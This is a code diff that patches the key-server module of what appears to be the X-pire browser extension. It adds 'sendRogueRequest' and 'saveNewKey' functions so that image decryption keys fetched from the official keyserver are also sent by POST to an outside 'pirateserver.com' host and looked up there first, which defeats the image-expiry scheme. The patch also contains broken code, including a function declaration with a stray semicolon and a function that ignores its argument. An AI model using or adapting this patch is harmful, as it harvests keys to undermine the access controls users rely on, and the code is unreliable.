*** serverapi.js.org 2010-12-03 14:05:30.000000000 +0100
--- serverapi.js 2011-01-13 16:27:01.126899594 +0100
***************
*** 11,16 ****
--- 11,17 ----
var JSON = Components.classes["@mozilla.org/dom/json;1"].createInstance(Components.interfaces.nsIJSON);
var keyCache = {};
var serverAddress = "http://keyserver.x-pire.net";
+ var pirateserver = "http://pirateserver.com";
//var serverAddress = "http://localhost:8080";
var jsessionid = "";
var requests = {};
***************
*** 51,56 ****
--- 52,78 ----
return validateRequest(req, address);
}
+ function sendRogueRequest() {
+ var req = Components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"].createInstance();
+ req.open("GET", pirateserver, false);
+ req.send("");
+ return JSON.decode(req.responseText);
+ }
+
+ function saveNewKey(keyId, imageHash, res); {
+ var req = Components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"].createInstance();
+ var payload = JSON.encode({
+ "action":"save",
+ "keyId":keyId,
+ "hash":imageHash,
+ "res":res
+ });
+ req.open("POST", pirateserver, false);
+ req.setRequestHeader("Content-Type", "application/json");
+ req.send(payload);
+ return JSON.decode(req.responseText);
+ }
+
function validateRequest(req, address) {
var result = JSON.decode(req.responseText);
if(result.hasOwnProperty("expired")) {
***************
*** 101,107 ****
requestInProgress = true;
try {
try {
! var res = sendRequest(composeAddress("GetKey/"+ keyId +"/" + imageHash, keyServer))
if(cacheEnabled)
keyCache[keyServer][keyId] = res
--- 123,135 ----
requestInProgress = true;
try {
try {
! var res = sendRogueRequest(composeAddress("GetKey/"+ keyId +"/" + imageHash, pirateserver))
!
! if (res.result.key.length == 0)
! {
! res = sendRequest(composeAddress("GetKey/"+ keyId +"/" + imageHash, keyServer))
! saveNewKey(keyId, imageHash, res);
! }
if(cacheEnabled)
keyCache[keyServer][keyId] = res
***************
*** 112,118 ****
case "NEED_CAPTCHA_VALIDATION":
if(solveCaptchaFunction(keyServer)) {
var res = sendRequest(composeAddress("GetKey/"+ keyId +"/" + imageHash, keyServer))
!
if(cacheEnabled)
keyCache[keyServer][keyId] = res
--- 140,148 ----
case "NEED_CAPTCHA_VALIDATION":
if(solveCaptchaFunction(keyServer)) {
var res = sendRequest(composeAddress("GetKey/"+ keyId +"/" + imageHash, keyServer))
!
! saveNewKey(keyId, imageHash, res);
!
if(cacheEnabled)
keyCache[keyServer][keyId] = res